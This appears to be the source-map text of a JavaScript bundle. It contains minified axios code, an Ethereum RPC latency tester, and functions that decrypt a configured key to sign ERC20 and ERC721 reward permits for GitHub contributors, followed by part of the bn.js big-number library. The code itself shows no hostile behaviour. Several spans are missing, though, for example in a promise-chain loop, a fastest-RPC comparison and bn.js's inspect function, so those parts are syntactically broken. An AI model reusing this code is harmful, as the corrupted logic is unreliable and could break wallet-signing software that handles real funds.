DC(e)||(im(t),e&&e.response&&(e.response.data=kC.call(t,t.transformResponse,e.response),e.response.headers=bC.from(e.response.headers))),Promise.reject(e)}))}Al(),il(),Al(),il();var sm=\"1.7.1\",am={};[\"object\",\"boolean\",\"number\",\"function\",\"string\",\"symbol\"].forEach(((t,e)=>{am[t]=function(r){return typeof r===t||\"a\"+(e<1?\"n \":\" \")+t}}));var cm={};am.transitional=function(t,e,r){function n(t,e){return\"[Axios v1.7.1] Transitional option '\"+t+\"'\"+e+(r?\". \"+r:\"\")}return(r,A,i)=>{if(!1===t)throw new qy(n(A,\" has been removed\"+(e?\" in \"+e:\"\")),qy.ERR_DEPRECATED);return e&&!cm[A]&&(cm[A]=!0,console.warn(n(A,\" has been deprecated since v\"+e+\" and will be removed in the near future\"))),!t||t(r,A,i)}};var hm={assertOptions:function(t,e,r){if(\"object\"!=typeof t)throw new qy(\"options must be an object\",qy.ERR_BAD_OPTION_VALUE);const n=Object.keys(t);let A=n.length;for(;A-- >0;){const i=n[A],o=e[i];if(o){const e=t[i],r=void 0===e||o(e,i,t);if(!0!==r)throw new qy(\"option \"+i+\" must be \"+r,qy.ERR_BAD_OPTION_VALUE)}else if(!0!==r)throw new qy(\"Unknown option \"+i,qy.ERR_BAD_OPTION)}},validators:am},gm=hm.validators,um=class{constructor(t){this.defaults=t,this.interceptors={request:new oC,response:new oC}}async request(t,e){try{return await this._request(t,e)}catch(t){if(t instanceof Error){let e;Error.captureStackTrace?Error.captureStackTrace(e={}):e=new Error;const r=e.stack?e.stack.replace(/^.+\\n/,\"\"):\"\";try{t.stack?r&&!String(t.stack).endsWith(r.replace(/^.+\\n.+\\n/,\"\"))&&(t.stack+=\"\\n\"+r):t.stack=r}catch(t){}}throw t}}_request(t,e){\"string\"==typeof t?(e=e||{}).url=t:e=t||{},e=HC(this.defaults,e);const{transitional:r,paramsSerializer:n,headers:A}=e;void 0!==r&&hm.assertOptions(r,{silentJSONParsing:gm.transitional(gm.boolean),forcedJSONParsing:gm.transitional(gm.boolean),clarifyTimeoutError:gm.transitional(gm.boolean)},!1),null!=n&&(Ky.isFunction(n)?e.paramsSerializer={serialize:n}:hm.assertOptions(n,{encode:gm.function,serialize:gm.function},!0)),e.method=(e.method||this.defaults.method||\"get\").toLowerCase();let i=A&&Ky.merge(A.common,A[e.method]);A&&Ky.forEach([\"delete\",\"get\",\"head\",\"post\",\"put\",\"patch\",\"common\"],(t=>{delete A[t]})),e.headers=bC.concat(i,A);const o=[];let s=!0;this.interceptors.request.forEach((function(t){\"function\"==typeof t.runWhen&&!1===t.runWhen(e)||(s=s&&t.synchronous,o.unshift(t.fulfilled,t.rejected))}));const a=[];let c;this.interceptors.response.forEach((function(t){a.push(t.fulfilled,t.rejected)}));let h,g=0;if(!s){const t=[om.bind(this),void 0];for(t.unshift.apply(t,o),t.push.apply(t,a),h=t.length,c=Promise.resolve(e);g{if(!r._listeners)return;let e=r._listeners.length;for(;e-- >0;)r._listeners[e](t);r._listeners=null})),this.promise.then=t=>{let e;const n=new Promise((t=>{r.subscribe(t),e=t})).then(t);return n.cancel=function(){r.unsubscribe(e)},n},t((function(t,n,A){r.reason||(r.reason=new NC(t,n,A),e(r.reason))}))}throwIfRequested(){if(this.reason)throw this.reason}subscribe(t){this.reason?t(this.reason):this._listeners?this._listeners.push(t):this._listeners=[t]}unsubscribe(t){if(!this._listeners)return;const e=this._listeners.indexOf(t);-1!==e&&this._listeners.splice(e,1)}static source(){let e;return{token:new t((function(t){e=t})),cancel:e}}};Al(),il(),Al(),il(),Al(),il();var pm={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(pm).forEach((([t,e])=>{pm[e]=t}));var dm=pm;var Im=function t(e){const r=new lm(e),n=ay(lm.prototype.request,r);return Ky.extend(n,lm.prototype,r,{allOwnKeys:!0}),Ky.extend(n,r,null,{allOwnKeys:!0}),n.create=function(r){return t(HC(e,r))},n}(mC);Im.Axios=lm,Im.CanceledError=NC,Im.CancelToken=fm,Im.isCancel=DC,Im.VERSION=sm,Im.toFormData=$y,Im.AxiosError=qy,Im.Cancel=Im.CanceledError,Im.all=function(t){return Promise.all(t)},Im.spread=function(t){return function(e){return t.apply(null,e)}},Im.isAxiosError=function(t){return Ky.isObject(t)&&!0===t.isAxiosError},Im.mergeConfig=HC,Im.AxiosHeaders=bC,Im.formToJSON=t=>yC(Ky.isHTMLForm(t)?new FormData(t):t),Im.getAdapter=Am,Im.HttpStatusCode=dm,Im.default=Im;var ym=Im,Cm=class{static async testRpcPerformance(t,e,r,n,A,i){const o=ym.create({timeout:i,headers:n,cancelToken:new ym.CancelToken((t=>setTimeout((()=>t(\"Request Timeout\")),i)))}),s=r.map((t=>new Promise((e=>{const r=performance.now();o.post(t,A).then((()=>{const n=performance.now();e({rpcUrl:t,duration:n-r,success:!0})})).catch((()=>{e({rpcUrl:t,success:!1,duration:0})}))})))),a=await Promise.race(s);a.success&&(e[`${t}__${a.rpcUrl}`]=a.duration);return(await Promise.allSettled(s)).forEach((n=>{if(\"fulfilled\"===n.status&&n.value.success)e[`${t}__${n.value.rpcUrl}`]=n.value.duration;else if(\"fulfilled\"===n.status){const t=n.value,e=r.indexOf(t.rpcUrl);e>-1&&r.splice(e,1)}})),{latencies:e,runtimeRpcs:r}}static async findFastestRpc(t,e){try{const r=Object.entries(t).filter((([t])=>t.startsWith(`${e}__`))).reduce(((t,[e,r])=>(t[e]=r,t)),{});return Object.keys(r).reduce(((t,e)=>r[t]0&&parseInt(i,16)>0&&66===o.match(/[0-9|a-f|A-F|x]/gm)?.join(\"\").length}catch(t){return!1}}};Al(),il();var mm=class{static getLatencies(t,e){if(\"browser\"===t){if(this.bypassForTests())return{};const t=JSON.parse(localStorage.getItem(\"rpcLatencies\")||\"{}\");return Object.keys(t).reduce(((r,n)=>(n.startsWith(`${e}__`)&&(r[n]=t[n]),r)),{})}return{}}static getRefreshLatencies(t){if(\"browser\"===t){if(this.bypassForTests())return 0;const t=JSON.parse(localStorage.getItem(\"refreshLatencies\")||\"0\");return\"number\"==typeof t?t:0}return 0}static setLatencies(t,e){if(\"browser\"===t){if(this.bypassForTests())return;localStorage.setItem(\"rpcLatencies\",JSON.stringify(e))}}static setRefreshLatencies(t,e){if(\"browser\"===t){if(this.bypassForTests())return;localStorage.setItem(\"refreshLatencies\",JSON.stringify(e))}}static bypassForTests(){if(\"undefined\"==typeof localStorage)return console.log(\"Passing test because localStorage is not defined.\"),!0}},Bm=class t{static _instance=null;_provider=null;_networkId;_networkName;_env=\"node\";_rpcTimeout=Number.MAX_SAFE_INTEGER;_cacheRefreshCycles=10;_refreshLatencies=0;_autoStorage=!1;_runtimeRpcs=[];_latencies={};_networkRpcs=[];constructor(t){this._networkId=t.networkId,this._networkRpcs=Ql[this._networkId],this._networkName=_l[this._networkId],this._initialize(t)}async getFastestRpcProvider(){return 31337===this._networkId?this._provider=new sy(\"http://127.0.0.1:8545\",this._networkId):this._provider||(this._provider=await this.testRpcPerformance()),this._provider&&this._provider?.connection.url.includes(\"localhost\")&&31337!==this._networkId&&(this._provider=await this.testRpcPerformance()),this._provider}async testRpcPerformance(){Object.keys(this._latencies).filter((t=>t.startsWith(`${this._networkId}__`))).length<=1||this._refreshLatencies>=this._cacheRefreshCycles?(this._runtimeRpcs=Ql[this._networkId],this._refreshLatencies=0):this._runtimeRpcs=Object.keys(this._latencies).map((t=>t.split(\"__\")[1])),await this._testRpcPerformance();const t=await Cm.findFastestRpc(this._latencies,this._networkId);if(!t)throw new Error(\"Failed to find fastest RPC\");const e=new sy(t,this._networkId);if(this._provider=e,this._autoStorage&&(mm.setLatencies(this._env,this._latencies),mm.setRefreshLatencies(this._env,this._refreshLatencies)),!this._provider)throw new Error(\"Provider could not be initialized\");return this._provider}getProvider(){if(!this._provider)throw new Error(\"Provider is not initialized\");return this._provider}static getInstance(e){if(!t._instance){if(!e)throw new Error(\"Config is required to initialize RPCHandler\");t._instance=new t(e)}return t._instance}clearInstance(){t._instance=null}getRuntimeRpcs(){return this._runtimeRpcs}getNetworkId(){return this._networkId}getNetworkName(){return this._networkName}getNetworkRpcs(){return this._networkRpcs}getLatencies(){return this._latencies}getRefreshLatencies(){return this._refreshLatencies}getCacheRefreshCycles(){return this._cacheRefreshCycles}async _testRpcPerformance(){const{latencies:t,runtimeRpcs:e}=await Cm.testRpcPerformance(this._networkId,this._latencies,this._runtimeRpcs,{\"Content-Type\":\"application/json\"},JSON.stringify({jsonrpc:\"2.0\",method:\"eth_getBlockByNumber\",params:[\"latest\",!1],id:1}),this._rpcTimeout);this._runtimeRpcs=e,this._latencies=t,this._refreshLatencies++,mm.setLatencies(this._env,this._latencies),mm.setRefreshLatencies(this._env,this._refreshLatencies)}_updateConfig(t){t.networkName&&(this._networkName=t.networkName),t.networkRpcs&&(this._networkRpcs=[...this._networkRpcs,...t.networkRpcs]),t.runtimeRpcs&&(this._runtimeRpcs=t.runtimeRpcs),t.cacheRefreshCycles&&(this._cacheRefreshCycles=t.cacheRefreshCycles),t.rpcTimeout&&(this._rpcTimeout=t.rpcTimeout),t.autoStorage&&(this._autoStorage=!0,this._latencies=mm.getLatencies(this._env,this._networkId),this._refreshLatencies=mm.getRefreshLatencies(this._env))}_initialize(t){this._env=\"undefined\"==typeof window?\"node\":\"browser\",this._updateConfig(t)}};async function Em(t){try{const e=\n/*! Bundled license information:\n\njs-sha3/src/sha3.js:\n (**\n * [js-sha3]{@link https://github.com/emn178/js-sha3}\n *\n * @version 0.8.0\n * @author Chen, Yi-Cyuan [emn178@gmail.com]\n * @copyright Chen, Yi-Cyuan 2015-2018\n * @license MIT\n *)\n*/\nfunction(t){return new Bm({networkId:t,autoStorage:!1,cacheRefreshCycles:5,rpcTimeout:1500,networkName:null,runtimeRpcs:null,networkRpcs:null})}(t);return await e.getFastestRpcProvider()}catch(e){throw new Error(`Failed to get fastest provider for networkId: ${t}`)}}async function wm(t,e,r,n){let A;const i=e;let o,s,a,c,h;if(\"issueId\"in t)A=t.logger,o=t.walletAddress,a=t.evmNetworkId,c=t.evmPrivateEncrypted,s=t.issueId,h=t.userId;else{const e=t.config;A=t.logger;const{evmNetworkId:r,evmPrivateEncrypted:n}=e,{data:g}=await t.octokit.users.getByUsername({username:i});if(!g)throw new Error(`GitHub user was not found for id ${i}`);h=g.id;const{wallet:u}=t.adapters.supabase;if(o=await u.getWalletByUserId(h),a=r,c=n,\"issue\"in t.payload)s=t.payload.issue.id;else{if(!(\"pull_request\"in t.payload))throw new Error(\"Issue Id is missing\");s=t.payload.pull_request.id}}if(!i)throw new Error(\"User was not found\");if(!o){const t=\"ERC20 Permit generation error: Wallet not found\";throw A.error(t),new Error(t)}const g=await Em(a);if(!g)throw A.error(\"Provider is not defined\"),new Error(\"Provider is not defined\");const{privateKey:u}=await ju(c);if(!u){const t=\"Private key is not defined\";throw A.fatal(t),new Error(t)}let l,f;try{l=new Gu(u,g)}catch(t){const e=`Failed to instantiate wallet: ${t}`;throw A.debug(e),new Error(e)}try{const t=new ug(n,[\"function decimals() public view returns (uint8)\"],g);f=await t.decimals()}catch(t){const e=`Failed to get token decimals for token: ${n}`;throw A.debug(e),new Error(e)}const p={permitted:{token:n,amount:SA(r.toString(),f)},spender:o,nonce:BigInt(no(aA(`${h}-${s}`))),deadline:$s},{domain:d,types:I,values:y}=fn.SignatureTransfer.getPermitData(p,fn.PERMIT2_ADDRESS,a),C=await l.signTypedData({name:d.name,version:d.version,chainId:d.chainId?d.chainId.toString():void 0,verifyingContract:d.verifyingContract,salt:d.salt?.toString()},I,y).catch((t=>{const e=`Failed to sign typed data ${t}`;throw A.error(e),new Error(e)})),m={tokenType:Hu.ERC20,tokenAddress:p.permitted.token,beneficiary:p.spender,nonce:p.nonce.toString(),deadline:p.deadline.toString(),amount:p.permitted.amount.toString(),owner:l.address,signature:C,networkId:a};return A.info(\"Generated ERC20 permit2 signature\",m),m}const vm=\"NftReward-Domain\",_m=\"1\",Qm={MintRequest:[{name:\"beneficiary\",type:\"address\"},{name:\"deadline\",type:\"uint256\"},{name:\"keys\",type:\"bytes32[]\"},{name:\"nonce\",type:\"uint256\"},{name:\"values\",type:\"string[]\"}]};async function bm(t,e,r){let n,A,i,o,s,a,c,h,g,u=e;if(\"evmNetworkId\"in t)n=t.logger,A=t.nftContractAddress,o=t.nftMinterPrivateKey,i=t.evmNetworkId,a=t.walletAddress,c=t.issueId,h=t.organizationName,g=t.repositoryName,s=t.userId;else{const{NFT_MINTER_PRIVATE_KEY:r,NFT_CONTRACT_ADDRESS:l}=t.env,{evmNetworkId:f}=t.config,p=t.adapters;if(n=t.logger,A=l,i=f,o=r,u=e,!t.eventName.startsWith(\"issues.\"))throw new Error(\"Issue Id is missing.\");c=t.payload.issue.id.toString(),h=t.payload.repository.owner.login,g=t.payload.repository.name;const{data:d}=await t.octokit.users.getByUsername({username:u});if(!d)throw new Error(`GitHub user was not found for id ${u}`);s=d.id;const I=await p.supabase.wallet.getWalletByUserId(s);if(!I)throw n.error(\"No wallet found for user\"),new Error(\"No wallet found for user\");a=I}const l=await Em(i);if(!l)throw n.error(\"Provider is not defined\"),new Error(\"Provider is not defined\");if(!A){const t=\"NFT contract address is not defined\";throw n.error(t),new Error(t)}let f;try{f=new Gu(o,l)}catch(t){throw n.error(\"Failed to instantiate wallet\",t),new Error(\"Failed to instantiate wallet\")}const p={GITHUB_ORGANIZATION_NAME:h,GITHUB_REPOSITORY_NAME:g,GITHUB_ISSUE_ID:c,GITHUB_USERNAME:u,GITHUB_CONTRIBUTION_TYPE:r},d=Object.entries(p),I={beneficiary:a,deadline:fn.MaxUint256.toBigInt(),keys:d.map((([t])=>no(aA(t)))),nonce:BigInt(no(aA(`${s}-${c}`))),values:d.map((([,t])=>t))},y={name:vm,version:_m,verifyingContract:A,chainId:i},C=await f.signTypedData(y,Qm,I).catch((t=>{throw n.error(\"Failed to sign typed data\",t),new Error(`Failed to sign typed data: ${t}`)})),m={tokenType:Hu.ERC721,tokenAddress:A,beneficiary:a,amount:\"1\",nonce:I.nonce.toString(),deadline:I.deadline.toString(),signature:C,owner:f.address,networkId:i,erc721Request:{keys:I.keys.map((t=>t.toString())),values:I.values,metadata:p}};return console.info(\"Generated ERC721 permit signature\",{erc721Permit:m}),m}exports.decodePermits=function(t){const e=atob(t),r=JSON.parse(e),n=[];for(const t of r){const e=\"erc20-permit\"===t.type?Hu.ERC20:Hu.ERC721;e===Hu.ERC721?n.push({amount:t.permit.permitted.amount,beneficiary:t.transferDetails.to,deadline:t.permit.deadline,networkId:t.networkId,nonce:t.permit.nonce,owner:t.owner,signature:t.signature,tokenAddress:t.permit.permitted.token,tokenType:e,...\"erc721-permit\"===t.type&&t.nftMetadata&&{erc721Request:{metadata:t.nftMetadata,keys:t.request?.keys??[],values:t.request?.values??[]}}}):n.push({amount:t.permit.permitted.amount,beneficiary:t.transferDetails.to,deadline:t.permit.deadline,networkId:t.networkId,nonce:t.permit.nonce,owner:t.owner,signature:t.signature,tokenAddress:t.permit.permitted.token,tokenType:e})}return n},exports.encodePermits=function(t){const e=t.map((t=>t.tokenType===Hu.ERC20?{type:\"erc20-permit\",permit:{permitted:{token:t.tokenAddress,amount:t.amount},nonce:t.nonce,deadline:t.deadline},transferDetails:{to:t.beneficiary,requestedAmount:t.amount},owner:t.owner,signature:t.signature,networkId:t.networkId}:t.erc721Request?{type:\"erc721-permit\",permit:{permitted:{token:t.tokenAddress,amount:t.amount},nonce:t.nonce,deadline:t.deadline},transferDetails:{to:t.beneficiary,requestedAmount:t.amount},owner:t.owner,signature:t.signature,networkId:t.networkId,nftMetadata:t.erc721Request.metadata,request:{beneficiary:t.beneficiary,deadline:t.deadline,keys:t.erc721Request?.keys,nonce:t.nonce,values:t.erc721Request?.values}}:null)).filter((t=>t));return Buffer.from(JSON.stringify(e)).toString(\"base64\")},exports.generateErc20PermitSignature=wm,exports.generateErc721PermitSignature=bm,exports.generatePayoutPermit=async function(t,e){const r=[];for(const n of e){const{type:e,amount:A,username:i,contributionType:o,tokenAddress:s}=n;let a;switch(e){case\"ERC20\":a=await wm(t,i,A,s);break;case\"ERC721\":a=await bm(t,i,o);break;default:t.logger.error(`Invalid permit type: ${e}`);continue}r.push(a)}return r};\n", "(function (module, exports) {\n 'use strict';\n\n // Utils\n function assert (val, msg) {\n if (!val) throw new Error(msg || 'Assertion failed');\n }\n\n // Could use `inherits` module, but don't want to move from single file\n // architecture yet.\n function inherits (ctor, superCtor) {\n ctor.super_ = superCtor;\n var TempCtor = function () {};\n TempCtor.prototype = superCtor.prototype;\n ctor.prototype = new TempCtor();\n ctor.prototype.constructor = ctor;\n }\n\n // BN\n\n function BN (number, base, endian) {\n if (BN.isBN(number)) {\n return number;\n }\n\n this.negative = 0;\n this.words = null;\n this.length = 0;\n\n // Reduction context\n this.red = null;\n\n if (number !== null) {\n if (base === 'le' || base === 'be') {\n endian = base;\n base = 10;\n }\n\n this._init(number || 0, base || 10, endian || 'be');\n }\n }\n if (typeof module === 'object') {\n module.exports = BN;\n } else {\n exports.BN = BN;\n }\n\n BN.BN = BN;\n BN.wordSize = 26;\n\n var Buffer;\n try {\n if (typeof window !== 'undefined' && typeof window.Buffer !== 'undefined') {\n Buffer = window.Buffer;\n } else {\n Buffer = require('buffer').Buffer;\n }\n } catch (e) {\n }\n\n BN.isBN = function isBN (num) {\n if (num instanceof BN) {\n return true;\n }\n\n return num !== null && typeof num === 'object' &&\n num.constructor.wordSize === BN.wordSize && Array.isArray(num.words);\n };\n\n BN.max = function max (left, right) {\n if (left.cmp(right) > 0) return left;\n return right;\n };\n\n BN.min = function min (left, right) {\n if (left.cmp(right) < 0) return left;\n return right;\n };\n\n BN.prototype._init = function init (number, base, endian) {\n if (typeof number === 'number') {\n return this._initNumber(number, base, endian);\n }\n\n if (typeof number === 'object') {\n return this._initArray(number, base, endian);\n }\n\n if (base === 'hex') {\n base = 16;\n }\n assert(base === (base | 0) && base >= 2 && base <= 36);\n\n number = number.toString().replace(/\\s+/g, '');\n var start = 0;\n if (number[0] === '-') {\n start++;\n this.negative = 1;\n }\n\n if (start < number.length) {\n if (base === 16) {\n this._parseHex(number, start, endian);\n } else {\n this._parseBase(number, base, start);\n if (endian === 'le') {\n this._initArray(this.toArray(), base, endian);\n }\n }\n }\n };\n\n BN.prototype._initNumber = function _initNumber (number, base, endian) {\n if (number < 0) {\n this.negative = 1;\n number = -number;\n }\n if (number < 0x4000000) {\n this.words = [number & 0x3ffffff];\n this.length = 1;\n } else if (number < 0x10000000000000) {\n this.words = [\n number & 0x3ffffff,\n (number / 0x4000000) & 0x3ffffff\n ];\n this.length = 2;\n } else {\n assert(number < 0x20000000000000); // 2 ^ 53 (unsafe)\n this.words = [\n number & 0x3ffffff,\n (number / 0x4000000) & 0x3ffffff,\n 1\n ];\n this.length = 3;\n }\n\n if (endian !== 'le') return;\n\n // Reverse the bytes\n this._initArray(this.toArray(), base, endian);\n };\n\n BN.prototype._initArray = function _initArray (number, base, endian) {\n // Perhaps a Uint8Array\n assert(typeof number.length === 'number');\n if (number.length <= 0) {\n this.words = [0];\n this.length = 1;\n return this;\n }\n\n this.length = Math.ceil(number.length / 3);\n this.words = new Array(this.length);\n for (var i = 0; i < this.length; i++) {\n this.words[i] = 0;\n }\n\n var j, w;\n var off = 0;\n if (endian === 'be') {\n for (i = number.length - 1, j = 0; i >= 0; i -= 3) {\n w = number[i] | (number[i - 1] << 8) | (number[i - 2] << 16);\n this.words[j] |= (w << off) & 0x3ffffff;\n this.words[j + 1] = (w >>> (26 - off)) & 0x3ffffff;\n off += 24;\n if (off >= 26) {\n off -= 26;\n j++;\n }\n }\n } else if (endian === 'le') {\n for (i = 0, j = 0; i < number.length; i += 3) {\n w = number[i] | (number[i + 1] << 8) | (number[i + 2] << 16);\n this.words[j] |= (w << off) & 0x3ffffff;\n this.words[j + 1] = (w >>> (26 - off)) & 0x3ffffff;\n off += 24;\n if (off >= 26) {\n off -= 26;\n j++;\n }\n }\n }\n return this._strip();\n };\n\n function parseHex4Bits (string, index) {\n var c = string.charCodeAt(index);\n // '0' - '9'\n if (c >= 48 && c <= 57) {\n return c - 48;\n // 'A' - 'F'\n } else if (c >= 65 && c <= 70) {\n return c - 55;\n // 'a' - 'f'\n } else if (c >= 97 && c <= 102) {\n return c - 87;\n } else {\n assert(false, 'Invalid character in ' + string);\n }\n }\n\n function parseHexByte (string, lowerBound, index) {\n var r = parseHex4Bits(string, index);\n if (index - 1 >= lowerBound) {\n r |= parseHex4Bits(string, index - 1) << 4;\n }\n return r;\n }\n\n BN.prototype._parseHex = function _parseHex (number, start, endian) {\n // Create possibly bigger array to ensure that it fits the number\n this.length = Math.ceil((number.length - start) / 6);\n this.words = new Array(this.length);\n for (var i = 0; i < this.length; i++) {\n this.words[i] = 0;\n }\n\n // 24-bits chunks\n var off = 0;\n var j = 0;\n\n var w;\n if (endian === 'be') {\n for (i = number.length - 1; i >= start; i -= 2) {\n w = parseHexByte(number, start, i) << off;\n this.words[j] |= w & 0x3ffffff;\n if (off >= 18) {\n off -= 18;\n j += 1;\n this.words[j] |= w >>> 26;\n } else {\n off += 8;\n }\n }\n } else {\n var parseLength = number.length - start;\n for (i = parseLength % 2 === 0 ? start + 1 : start; i < number.length; i += 2) {\n w = parseHexByte(number, start, i) << off;\n this.words[j] |= w & 0x3ffffff;\n if (off >= 18) {\n off -= 18;\n j += 1;\n this.words[j] |= w >>> 26;\n } else {\n off += 8;\n }\n }\n }\n\n this._strip();\n };\n\n function parseBase (str, start, end, mul) {\n var r = 0;\n var b = 0;\n var len = Math.min(str.length, end);\n for (var i = start; i < len; i++) {\n var c = str.charCodeAt(i) - 48;\n\n r *= mul;\n\n // 'a'\n if (c >= 49) {\n b = c - 49 + 0xa;\n\n // 'A'\n } else if (c >= 17) {\n b = c - 17 + 0xa;\n\n // '0' - '9'\n } else {\n b = c;\n }\n assert(c >= 0 && b < mul, 'Invalid character');\n r += b;\n }\n return r;\n }\n\n BN.prototype._parseBase = function _parseBase (number, base, start) {\n // Initialize as zero\n this.words = [0];\n this.length = 1;\n\n // Find length of limb in base\n for (var limbLen = 0, limbPow = 1; limbPow <= 0x3ffffff; limbPow *= base) {\n limbLen++;\n }\n limbLen--;\n limbPow = (limbPow / base) | 0;\n\n var total = number.length - start;\n var mod = total % limbLen;\n var end = Math.min(total, total - mod) + start;\n\n var word = 0;\n for (var i = start; i < end; i += limbLen) {\n word = parseBase(number, i, i + limbLen, base);\n\n this.imuln(limbPow);\n if (this.words[0] + word < 0x4000000) {\n this.words[0] += word;\n } else {\n this._iaddn(word);\n }\n }\n\n if (mod !== 0) {\n var pow = 1;\n word = parseBase(number, i, number.length, base);\n\n for (i = 0; i < mod; i++) {\n pow *= base;\n }\n\n this.imuln(pow);\n if (this.words[0] + word < 0x4000000) {\n this.words[0] += word;\n } else {\n this._iaddn(word);\n }\n }\n\n this._strip();\n };\n\n BN.prototype.copy = function copy (dest) {\n dest.words = new Array(this.length);\n for (var i = 0; i < this.length; i++) {\n dest.words[i] = this.words[i];\n }\n dest.length = this.length;\n dest.negative = this.negative;\n dest.red = this.red;\n };\n\n function move (dest, src) {\n dest.words = src.words;\n dest.length = src.length;\n dest.negative = src.negative;\n dest.red = src.red;\n }\n\n BN.prototype._move = function _move (dest) {\n move(dest, this);\n };\n\n BN.prototype.clone = function clone () {\n var r = new BN(null);\n this.copy(r);\n return r;\n };\n\n BN.prototype._expand = function _expand (size) {\n while (this.length < size) {\n this.words[this.length++] = 0;\n }\n return this;\n };\n\n // Remove leading `0` from `this`\n BN.prototype._strip = function strip () {\n while (this.length > 1 && this.words[this.length - 1] === 0) {\n this.length--;\n }\n return this._normSign();\n };\n\n BN.prototype._normSign = function _normSign () {\n // -0 = 0\n if (this.length === 1 && this.words[0] === 0) {\n this.negative = 0;\n }\n return this;\n };\n\n // Check Symbol.for because not everywhere where Symbol defined\n // See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol#Browser_compatibility\n if (typeof Symbol !== 'undefined' && typeof Symbol.for === 'function') {\n try {\n BN.prototype[Symbol.for('nodejs.util.inspect.custom')] = inspect;\n } catch (e) {\n BN.prototype.inspect = inspect;\n }\n } else {\n BN.prototype.inspect = inspect;\n }\n\n function inspect () {\n return (this.red ? '';\n }\n\n /*\n\n var zeros = [];\n var groupSizes = [];\n var groupBases = [];\n\n var s = '';\n var i = -1;\n while (++i < BN.wordSize) {\n zeros[i] = s;\n s += '0';\n }\n groupSizes[0] = 0;\n groupSizes[1] = 0;\n groupBases[0] = 0;\n groupBases[1] = 0;\n var base = 2 - 1;\n while (++base < 36 + 1) {\n var groupSize = 0;\n var groupBase = 1;\n while (groupBase < (1 << BN.wordSize) / base) {\n groupBase *= base;\n groupSize += 1;\n }\n groupSizes[base] = groupSize;\n groupBases[base] = groupBase;\n }\n\n */\n\n var zeros = [\n '',\n '0',\n '00',\n '000',\n '0000',\n '00000',\n '000000',\n '0000000',\n '00000000',\n '000000000',\n '0000000000',\n '00000000000',\n '000000000000',\n '0000000000000',\n '00000000000000',\n '000000000000000',\n '0000000000000000',\n '00000000000000000',\n '000000000000000000',\n '0000000000000000000',\n '00000000000000000000',\n '000000000000000000000',\n '0000000000000000000000',\n '00000000000000000000000',\n '000000000000000000000000',\n '0000000000000000000000000'\n ];\n\n var groupSizes = [\n 0, 0,\n 25, 16, 12, 11, 10, 9, 8,\n 8, 7, 7, 7, 7, 6, 6,\n 6, 6, 6, 6, 6, 5, 5,\n 5, 5, 5, 5, 5, 5, 5,\n 5, 5, 5, 5, 5, 5, 5\n ];\n\n var groupBases = [\n 0, 0,\n 33554432, 43046721, 16777216, 48828125, 60466176, 40353607, 16777216,\n 43046721, 10000000, 19487171, 35831808, 62748517, 7529536, 11390625,\n 16777216, 24137569, 34012224, 47045881, 64000000, 4084101, 5153632,\n 6436343, 7962624, 9765625, 11881376, 14348907, 17210368, 20511149,\n 24300000, 28629151, 33554432, 39135393, 45435424, 52521875, 60466176\n ];\n\n BN.prototype.toString = function toString (base, padding) {\n base = base || 10;\n padding = padding | 0 || 1;\n\n var out;\n if (base === 16 || base === 'hex') {\n out = '';\n var off = 0;\n var carry = 0;\n for (var i = 0; i < this.length; i++) {\n var w = this.words[i];\n var word = (((w << off) | carry) & 0xffffff).toString(16);\n carry = (w >>> (24 - off)) & 0xffffff;\n off += 2;\n if (off >= 26) {\n off -= 26;\n i--;\n }\n if (carry !== 0 || i !== this.length - 1) {\n out = zeros[6 - word.length] + word + out;\n } else {\n out = word + out;\n }\n }\n if (carry !== 0) {\n out = carry.toString(16) + out;\n }\n while (out.length % padding !== 0) {\n out = '0' + out;\n }\n if (this.negative !== 0) {\n out = '-' + out;\n }\n return out;\n }\n\n if (base === (base | 0) && base >= 2 && base <= 36) {\n // var groupSize = Math.floor(BN.wordSize * Math.LN2 / Math.log(base));\n var groupSize = groupSizes[base];\n // var groupBase = Math.pow(base, groupSize);\n var groupBase = groupBases[base];\n out = '';\n var c = this.clone();\n c.negative = 0;\n while (!c.isZero()) {\n var r = c.modrn(groupBase).toString(base);\n c = c.idivn(groupBase);\n\n if (!c.isZero()) {\n out = zeros[groupSize - r.length] + r + out;\n } else {\n out = r + out;\n }\n }\n if (this.isZero()) {\n out = '0' + out;\n }\n while (out.length % padding !== 0) {\n out = '0' + out;\n }\n if (this.negative !== 0) {\n out = '-' + out;\n }\n return out;\n }\n\n assert(false, 'Base should be between 2 and 36');\n };\n\n BN.prototype.toNumber = function toNumber () {\n var ret = this.words[0];\n if (this.length === 2) {\n ret += this.words[1] * 0x4000000;\n } else if (this.length === 3 && this.words[2] === 0x01) {\n // NOTE: at this stage it is known that the top bit is set\n ret += 0x10000000000000 + (this.words[1] * 0x4000000);\n } else if (this.length > 2) {\n assert(false, 'Number can only safely store up to 53 bits');\n }\n return (this.negative !== 0) ? -ret : ret;\n };\n\n BN.prototype.toJSON = function toJSON () {\n return this.toString(16, 2);\n };\n\n if (Buffer) {\n BN.prototype.toBuffer = function toBuffer (endian, length) {\n return this.toArrayLike(Buffer, endian, length);\n };\n }\n\n BN.prototype.toArray = function toArray (endian, length) {\n return this.toArrayLike(Array, endian, length);\n };\n\n var allocate = function allocate (ArrayType, size) {\n if (ArrayType.allocUnsafe) {\n return ArrayType.allocUnsafe(size);\n }\n return new ArrayType(size);\n };\n\n BN.prototype.toArrayLike = function toArrayLike (ArrayType, endian, length) {\n this._strip();\n\n var byteLength = this.byteLength();\n var reqLength 